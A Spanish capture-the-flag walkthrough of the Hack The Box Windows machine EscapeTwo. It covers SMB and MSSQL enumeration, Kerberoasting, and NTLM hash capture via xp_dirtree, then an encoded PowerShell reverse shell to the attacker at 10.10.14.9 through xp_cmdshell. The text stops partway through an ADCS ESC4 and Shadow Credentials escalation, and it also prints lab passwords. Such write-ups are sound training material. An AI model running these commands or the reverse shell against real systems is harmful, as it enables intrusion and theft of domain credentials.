# EscapeTwo

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-f4b2ea0e59b18881791c0e9b93681dfa74ca43fc%2F29.png?alt=media)

**Publicado:** 2 de Julio de 2025\
**Autor:** José Miguel Romero aKa **x3m1Sec**\
**Dificultad:** ⭐ Easy\
**OS:** Windows

### 📝 Descripción

**Sequel** es una máquina Windows de dificultad fácil que simula un entorno de Active Directory corporativo. La explotación comienza con credenciales válidas proporcionadas para el usuario `rose`, las cuales nos permiten enumerar recursos SMB y descubrir archivos Excel con credenciales adicionales de usuarios y servicios.

La fase inicial involucra la enumeración de servicios como MSSQL, donde obtenemos acceso con la cuenta privilegiada `sa` y aprovechamos `xp_cmdshell` para ejecutar comandos del sistema. A través de técnicas de **Password Spraying**, logramos movimiento lateral hacia la cuenta `ryan`, que posee privilegios especiales sobre el objeto `ca_svc` en Active Directory.

La escalada de privilegios se realiza mediante **ADCS (Active Directory Certificate Services) abuse**, específicamente explotando la vulnerabilidad **ESC4** que permite modificar plantillas de certificados. Utilizando técnicas de **Shadow Credentials** y manipulación de ACLs, transformamos una plantilla vulnerable en **ESC1** para finalmente obtener un certificado válido de administrador de dominio.

### 🎯 Puntos Clave

* ✅ **Enumeración inicial** con credenciales válidas de `rose`
* ✅ **Descubrimiento de credenciales** en archivos Excel del recurso SMB
* ✅ **Explotación de MSSQL** con cuenta privilegiada `sa`
* ✅ **Ejecución de comandos** mediante `xp_cmdshell`
* ✅ **Movimiento lateral** via Password Spraying hacia `ryan`
* ✅ **Abuso de privilegios WriteOwner** sobre `ca_svc`
* ✅ **Shadow Credentials attack** para tomar control de cuentas
* ✅ **ADCS ESC4 → ESC1** para escalada de privilegios
* ✅ **Obtención de certificado** de administrador de dominio

### 🔍 Información de la Máquina

| Campo                     | Valor                                  |
| ------------------------- | -------------------------------------- |
| **IP**                    | 10.10.11.51                            |
| **Dominio**               | sequel.htb                             |
| **DC**                    | DC01.sequel.htb                        |
| **OS**                    | Windows Server 2019                    |
| **Servicios Principales** | DNS, Kerberos, LDAP, SMB, MSSQL, WinRM |

***

### 🔭 Reconocimiento

#### 🏓 Ping para verificación en base a TTL

```bash
❯ ping -c2 10.10.11.51           
PING 10.10.11.51 (10.10.11.51) 56(84) bytes of data.
64 bytes from 10.10.11.51: icmp_seq=1 ttl=127 time=44.2 ms
64 bytes from 10.10.11.51: icmp_seq=2 ttl=127 time=43.9 ms

--- 10.10.11.51 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 43.910/44.051/44.192/0.141 ms
```

> 💡 **Nota**: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

#### 🚀 Escaneo de puertos

```bash
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.51 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
```

```bash
echo $ports                                                                     
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49668,49681,49682,49683,49698,49714,49735,49802
```

#### 🔍 Enumeración de servicios

```bash
nmap -sC -sV -p$ports 10.10.11.51 -oN services.txt     
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 18:09 CEST
Nmap scan report for 10.10.11.51
Host is up (0.042s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-01 16:09:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Not valid before: 2025-06-26T11:34:57
|_Not valid after:  2124-06-08T17:00:40
|_ssl-date: 2025-07-01T16:10:44+00:00; +1s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Not valid before: 2025-06-26T11:34:57
|_Not valid after:  2124-06-08T17:00:40
|_ssl-date: 2025-07-01T16:10:44+00:00; +1s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.10.11.51:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.10.11.51:1433: 
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-07-01T16:10:44+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-07-01T16:01:57
|_Not valid after:  2055-07-01T16:01:57
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-01T16:10:44+00:00; +1s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Not valid before: 2025-06-26T11:34:57
|_Not valid after:  2124-06-08T17:00:40
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-01T16:10:44+00:00; +1s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Not valid before: 2025-06-26T11:34:57
|_Not valid after:  2124-06-08T17:00:40
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49682/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
49735/tcp open  msrpc         Microsoft Windows RPC
49802/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-01T16:10:09
|_  start_date: N/A
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
```

⚠️ **Añadimos el siguiente vhost a nuestro fichero /etc/hosts:**

```bash
echo "10.10.11.51 sequel.htb DC01.sequel.htb" | sudo tee -a /etc/hosts
```

#### 📋 Análisis de Servicios Detectados

La máquina expone varios servicios típicos de un Domain Controller:

* **Puerto 53 (DNS)**: Resolución de nombres del dominio
* **Puerto 88 (Kerberos)**: Autenticación del dominio
* **Puerto 389/636 (LDAP)**: Directorio activo
* **Puerto 445 (SMB)**: Recursos compartidos
* **Puerto 1433 (MSSQL)**: Base de datos SQL Server
* **Puerto 5985 (WinRM)**: Administración remota

#### 🔑 Credenciales Iniciales

Como es común en las pruebas de penetración de Windows de la vida real, iniciará el cuadro de Administrador con las credenciales de la siguiente cuenta:

* **Nombre de usuario:** rose
* **Contraseña:** KxEPkKe6R8su

***

### 🌐 Enumeración de Servicios

#### 🏠 53 DNS

```bash
 dnsenum -r --dnsserver 10.10.11.51 --enum -p 0 -s 0 -f /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt sequel.htb 
```

**🧠 Desglose de flags y argumentos:**

| Flag/Argumento                                                                     | Significado                                                                                           |
| ---------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |
| `-r`                                                                               | **Desactiva la resolución inversa** (no intenta hacer reverse lookup de IPs).                         |
| `--dnsserver 10.10.11.51`                                                          | Usa el servidor DNS **10.10.11.51** en lugar del predeterminado del sistema.                          |
| `--enum`                                                                           | Activa **enumeración completa**, que incluye subdominios, transferencias de zona, etc.                |
| `-p 0`                                                                             | Desactiva la enumeración de hosts con nombres similares (`similar domain guessing`).                  |
| `-s 0`                                                                             | Desactiva el escaneo de servicios (no intenta verificar si hay servicios activos en los subdominios). |
| `-f /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt` | Utiliza este **diccionario de subdominios** para hacer fuerza bruta de nombres.                       |
| `sequel.htb`                                                                       | Es el **dominio objetivo** para la enumeración.                                                       |

En esta ocasión no encontramos nada relevante.

#### 🗂️ 445 SMB - Enumeración Inicial

Ya que disponemos de credenciales, comenzamos tratando de enumerar recursos compartidos, usuarios etc:

```bash
netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares 
netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --users 
netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --rid-brute 2>/dev/null | awk -F '\\' '{print $2}' | grep 'SidTypeUser' | sed 's/ (SidTypeUser)//' > Users.txt
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-98a354717d5a8975bbba9062173727a973661cd5%2F1.png?alt=media)

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-25340c8dd17ef8dd25c26a8b98bbc775912d5e5c%2F2.png?alt=media)

#### 🎫 Kerberoasting

Con las credenciales de rose, verificamos si hay alguna cuenta kerberoastable de la cual podamos obtener su TGS

```bash
impacket-GetUserSPNs sequel.htb/rose:'KxEPkKe6R8su' -dc-ip sequel.htb -request
```

```bash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName     Name     MemberOf                                              PasswordLastSet             LastLogon                   Delegation 
-----------------------  -------  ----------------------------------------------------  --------------------------  --------------------------  ----------
sequel.htb/sql_svc.DC01  sql_svc  CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb  2024-06-09 09:58:42.689521  2025-07-01 18:01:54.892948             
sequel.htb/ca_svc.DC01   ca_svc   CN=Cert Publishers,CN=Users,DC=sequel,DC=htb          2025-07-01 18:27:29.134331  2024-06-09 19:14:42.333365             

[-] CCache file is not found. Skipping...
$krb5tgs$23$*sql_svc$SEQUEL.HTB$sequel.htb/sql_svc*$[...]
$krb5tgs$23$*ca_svc$SEQUEL.HTB$sequel.htb/ca_svc*$[...]
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-98d65de59efa622750283c370e32d82471c4479b%2F3.png?alt=media)

Obtenemos dos TGS, uno para la cuenta del usuario sql\_svc y otro para ca\_svc. Intentamos crackear offline con hashcat pero las contraseñas no están en rockyou.txt.

#### 🗃️ 1433 MSSQL

Confirmamos que las credenciales del usuario rose son válidas con este servicio usando impacket-mssqlclient con la flag -windows-auth **para usar NTLM (Windows Authentication)**

```bash
impacket-mssqlclient rose:KxEPkKe6R8su@sequel.htb -windows-auth
```

**📊 Enumeración de la versión de base de datos**

```bash
SQL (SEQUEL\rose  guest@master)> SELECT @@VERSION;
                                                                                                                                                                                                                           
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
	Sep 24 2019 13:48:23 
	Copyright (C) 2019 Microsoft Corporation
	Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
```

**❌ Intento fallido de habilitar xp\_cmd\_shell**

El usuario rose no tiene permisos para habilitar xp\_cmdshell:

```bash
SQL (SEQUEL\rose  guest@master)> enable_xp_cmdshell
ERROR(DC01\SQLEXPRESS): Line 105: User does not have permission to perform this action.
```

**🎣 Captura de hash NTLM**

Iniciamos un servidor SMB e intentamos capturar credenciales mediante una petición a un recurso inexistente:

```bash
impacket-smbserver smbShare $(pwd) -smb2support
```

Desde la consola MSSQL ejecutamos:

```bash
EXEC master..xp_dirtree '\\10.10.14.9\smbShare\'
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-0dc0b0bc9fa674ad134b6907de65f773e9420034%2F5.png?alt=media)

Obtenemos el hash NTLMv2 del usuario sql\_svc, pero no es crackeable con rockyou.

**📁 Explorando recursos compartidos**

Montamos los recursos SMB para explorar su contenido:

```bash
sudo mount -t cifs //10.10.11.51/'Accounting Department' /mnt/monturaSmb -o 'username=rose,password=KxEPkKe6R8su'
```

Encontramos archivos Excel con credenciales:

```bash
ls /mnt/monturaSmb
accounting_2024.xlsx   accounts.xlsx
```

**🔓 Extracción de credenciales de archivos Excel**

En Excel 2007, los archivos XLSX sustituyeron a los archivos .XLS como archivo estándar para guardar hojas de cálculo en Excel. A diferencia de los archivos XLS, que almacenan los datos de la hoja de cálculo en un único archivo binario, los archivos XLSX se guardan en formato Open XML, que almacena los datos como archivos y carpetas independientes en un paquete Zip comprimido. El archivo incluye el fichero \[Content\_Types].xml, que describe la hoja de cálculo, y un fichero .XML para cada hoja de cálculo.

Esto significa que podemos extraer manualmente el archivo en nuestro host para ver el contenido de cada una de las hojas.

```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:xdr="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" xmlns:x14="http://schemas.microsoft.com/office/spreadsheetml/2009/9/main" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"><sheetPr filterMode="false"><pageSetUpPr fitToPage="false"/></sheetPr><dimension ref="A1:E5"/><sheetViews><sheetView showFormulas="false" showGridLines="true" showRowColHeaders="true" showZeros="true" rightToLeft="false" tabSelected="true" showOutlineSymbols="true" defaultGridColor="true" view="normal" topLeftCell="A1" colorId="64" zoomScale="100" zoomScaleNormal="100" zoomScalePageLayoutView="100" workbookViewId="0"><selection pane="topLeft" activeCell="B1" activeCellId="0" sqref="B:B"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="11.53515625" defaultRowHeight="12.8" zeroHeight="false" outlineLevelRow="0" outlineLevelCol="0"></sheetFormatPr><cols><col collapsed="false" customWidth="true" hidden="false" outlineLevel="0" max="2" min="2" style="0" width="10.61"/><col collapsed="false" customWidth="true" hidden="false" outlineLevel="0" max="3" min="3" style="0" width="17.15"/><col collapsed="false" customWidth="true" hidden="false" outlineLevel="0" max="4" min="4" style="0" width="10.2"/><col collapsed="false" customWidth="true" hidden="false" outlineLevel="0" max="5" min="5" style="0" width="20.22"/></cols><sheetData><row r="1" customFormat="false" ht="12.8" hidden="false" customHeight="false" outlineLevel="0" collapsed="false"><c r="A1" s="1" t="s"><v>0</v></c><c r="B1" s="1" t="s"><v>1</v></c><c r="C1" s="1" t="s"><v>2</v></c><c r="D1" s="1" t="s"><v>3</v></c><c r="E1" s="1" t="s"><v>4</v></c></row><row r="2" customFormat="false" ht="12.8" hidden="false" customHeight="false" outlineLevel="0" collapsed="false"><c r="A2" s="2" t="s"><v>5</v></c><c r="B2" s="2" t="s"><v>6</v></c><c r="C2" s="3" t="s"><v>7</v></c><c r="D2" s="2" t="s"><v>8</v></c><c r="E2" s="2" t="s"><v>9</v></c></row><row r="3" customFormat="false" ht="12.8" hidden="false" customHeight="false" outlineLevel="0" collapsed="false"><c r="A3" s="2" t="s"><v>10</v></c><c r="B3" s="2" t="s"><v>11</v></c><c r="C3" s="3" t="s"><v>12</v></c><c r="D3" s="2" t="s"><v>13</v></c><c r="E3" s="2" t="s"><v>14</v></c></row><row r="4" customFormat="false" ht="12.8" hidden="false" customHeight="false" outlineLevel="0" collapsed="false"><c r="A4" s="2" t="s"><v>15</v></c><c r="B4" s="2" t="s"><v>16</v></c><c r="C4" s="3" t="s"><v>17</v></c><c r="D4" s="2" t="s"><v>18</v></c><c r="E4" s="2" t="s"><v>19</v></c></row><row r="5" customFormat="false" ht="12.8" hidden="false" customHeight="false" outlineLevel="0" collapsed="false"><c r="A5" s="2" t="s"><v>20</v></c><c r="B5" s="2" t="s"><v>20</v></c><c r="C5" s="3" t="s"><v>21</v></c><c r="D5" s="2" t="s"><v>22</v></c><c r="E5" s="2" t="s"><v>23</v></c></row></sheetData><hyperlinks><hyperlink ref="C2" r:id="rId1" display="angela@sequel.htb"/><hyperlink ref="C3" r:id="rId2" display="oscar@sequel.htb"/><hyperlink ref="C4" r:id="rId3" display="kevin@sequel.htb"/><hyperlink ref="C5" r:id="rId4" display="sa@sequel.htb"/></hyperlinks><printOptions headings="false" gridLines="false" gridLinesSet="true" horizontalCentered="false" verticalCentered="false"/><pageMargins left="0.7875" right="0.7875" top="1.05277777777778" bottom="1.05277777777778" header="0.7875" footer="0.7875"/><pageSetup paperSize="1" scale="100" fitToWidth="1" fitToHeight="1" pageOrder="downThenOver" orientation="portrait" blackAndWhite="false" draft="false" cellComments="none" firstPageNumber="1" useFirstPageNumber="true" horizontalDpi="300" verticalDpi="300" copies="1"/><headerFooter differentFirst="false" differentOddEven="false"><oddHeader>&amp;C&amp;&quot;Times New Roman,Regular&quot;&amp;12&amp;A</oddHeader><oddFooter>&amp;C&amp;&quot;Times New Roman,Regular&quot;&amp;12Page &amp;P</oddFooter></headerFooter></worksheet>
```

Como alternativa es posible usar algunas herramienta en línea como:- <https://jumpshare.com/viewer/xlsx>

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-b068205c70bd4c29c60e09c39449997538723ab8%2F6.png?alt=media)

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-74568da7d91cccf0cb0d137bd382b7de08b2e7bc%2F7.png?alt=media)

Analizando el contenido de los archivos XLSX (formato Open XML comprimido), obtenemos las siguientes credenciales:

| First Name | Last Name | Email               | Username | Password         |
| ---------- | --------- | ------------------- | -------- | ---------------- |
| Angela     | Martin    | <angela@sequel.htb> | angela   | 0fwz7Q4mSpurIt99 |
| Oscar      | Martinez  | <oscar@sequel.htb>  | oscar    | 86LxLBMgEWaKUnBG |
| Kevin      | Malone    | <kevin@sequel.htb>  | kevin    | Md9Wlq1E5bZnVDVo |
| NULL       | NULL      | <sa@sequel.htb>     | sa       | MSSQLP\@ssw0rd!  |

***

### 💀 Explotación Inicial

#### 🔐 Acceso con cuenta sa en MSSQL

Probamos las credenciales de la cuenta sa (System Administrator) en MSSQL:

```bash
impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@sequel.htb
```

✅ **Éxito!** La cuenta sa tiene privilegios elevados.

#### ⚙️ Habilitando xp\_cmdshell

Con privilegios de sa podemos habilitar la ejecución de comandos:

```bash
SQL (sa  dbo@master)> enable_xp_cmdshell
SQL (sa  dbo@master)> RECONFIGURE
```

#### 🚀 Obteniendo Reverse Shell

Generamos un payload de PowerShell codificado en base64 para obtener una reverse shell:

```bash
EXEC xp_cmdshell 'powershell -e [base64_payload]'
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-95e91018005a6706ec4e5f7752078b591c422b98%2F12.png?alt=media)

Obtenemos acceso como usuario `sql_svc`:

```bash
EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'

```

```bash
nc -nlvp 443 
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.51] 58115
whoami
sequel\sql_svc
```

***

### 🔄 Movimiento Lateral

#### 🔍 Enumeración del sistema

Usamos bloodhound-python como collector para obtener los objetos de dominio y cargarlos en bloodhound para analizar posibles vías potenciales para el movimiento lateral o escalada:

```bash
bloodhound-python -u 'rose' -p 'KxEPkKe6R8su' -d sequel.htb -c All --zip -ns 10.10.11.51
```

Durante la enumeración del sistema encontramos credenciales adicionales en el archivo `C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI`:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-fb65d7af54cd0e03abcb54f04f50ab847f510260%2F15.png?alt=media)

**Credencial encontrada:** `sql_svc:WqSZAF6CysDQbGb3`

#### 💥 Password Spraying

Verificamos si algún usuario reutiliza esta contraseña usando netexec:

```bash
netexec winrm 10.10.11.51 -u Users.txt -p 'WqSZAF6CysDQbGb3'
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-13eee361336020289d06e3fa4706bfe75d4e8a10%2F16.png?alt=media)

¡Bingo! El usuario `ryan` está reutilizando la contraseña de `sql_svc`.

#### 🎯 Acceso como ryan

```bash
evil-winrm -i 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3'
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-b7488a0f70a68aab4f494f343887643a68944fc0%2F17.png?alt=media)

Obtenemos la **primera flag** (user.txt) y confirmamos que ryan pertenece al grupo **Certificate Service DCOM Access**.

***

### 🔝 Escalada de Privilegios

#### 🩸 Análisis con BloodHound

Usando bloodhound-python recopilamos información del dominio:

```bash
bloodhound-python -u 'rose' -p 'KxEPkKe6R8su' -d sequel.htb -c All --zip -ns 10.10.11.51
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-3bc05b37c7aa0aa3a11239ebd802b00e4011fbf0%2F14.png?alt=media)

**Hallazgo crítico:** El usuario ryan tiene privilegio **WriteOwner** sobre el objeto **CA\_SVC**.

#### Tomando el control de ca\_svc

**🎯 Contexto Inicial**

Como usuario **ryan**, tenemos el privilegio **WriteOwner** sobre **CA\_SVC**, lo que nos convierte en propietarios de la cuenta y nos permite escalar privilegios.

**📋 Introducción al privilegio WriteOwner**

El privilegio **WriteOwner** nos permite diferentes tipos de ataques dependiendo del objeto:

| Tipo de Objeto | Capacidades                                                                                                                          |
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
| **Usuario**    | Asignar todos los derechos a otra cuenta para realizar: restablecimiento de contraseña, Kerberoasting dirigido, o Shadow Credentials |
| **Grupo**      | Añadir/eliminar miembros después de conceder privilegios totales al nuevo propietario                                                |
| **GPO**        | Modificar la política de grupo                                                                                                       |

> 💡 **Preferencia**: Utilizaremos Kerberoasting dirigido o Shadow Credentials para evitar cambiar contraseñas de usuarios innecesariamente.

***

**🎯 OPCIÓN 1: Targeted Kerberoasting**

**Prerrequisitos**

Para realizar un ataque de kerberoasting necesitamos uno de estos privilegios:

* ✅ `WriteOwner` (tenemos este)
* `GenericAll`
* `GenericWrite`
* `WriteProperty`
* `Validated-SPN`
* `WriteProperties`

#### 🔧 Proceso del Ataque

**Funcionamiento:**

1. Adjuntar/generar un SPN para la cuenta de usuario
2. Solicitar TGS para la cuenta de usuario
3. Crackear el TGS (encriptado con el hash NTLM)

#### 💻 Ejecución

**Herramienta utilizada:** [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)

```bash
# Comando genérico
python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user ca_svc -o ca_svc.kerb

# Comando específico
python3 targetedKerberoast.py -v -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 --request-user ca_svc -o ca_svc.kerb
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-46a3b2b990c1fcc87e24d5895eed23dad14ed6cb%2F18.png?alt=media)

#### 🔐 Intento de Cracking

```bash
hashcat -m 13100 ca_svc.kerb /usr/share/wordlists/rockyou.txt
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-8e2c2267f635b0a0d5edd052f5fdd095eabea717%2F19.png?alt=media)

❌ **Resultado**: La contraseña no se encuentra en rockyou.txt

***

#### 🎯 OPCIÓN 2: Shadow Credentials + ADCS Abuse

**📖 Conceptos Clave**

* **Shadow Credentials**: Modificación del atributo `msDS-KeyCredentialLink` para agregar claves controladas por el atacante
* **ADCS Abuse**: Explotación de plantillas de certificados mal configuradas para emitir certificados válidos

**🚀 Proceso de escalada**

**Paso 1: Modificar el propietario**

Conceder a `Ryan` control total sobre `ca_svc`

```bash
# Opción A: bloodyAD
bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set owner CA_SVC ryan

# Opción B: impacket-owneredit
impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' sequel.htb/ryan:WqSZAF6CysDQbGb3
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-07aa2c29c9e1485e548ac803865049c5147ab260%2F20.png?alt=media)

**Paso 2: Garantizar privilegios totales**

Asegurar que `ryan` tenga **FullControl** sobre `ca_svc`

```bash
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/"ryan":"WqSZAF6CysDQbGb3"
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-545e8207b6745fb163247dddd107a4e617732f23%2F21.png?alt=media)

**Paso 3: Generar Shadow Credentials**

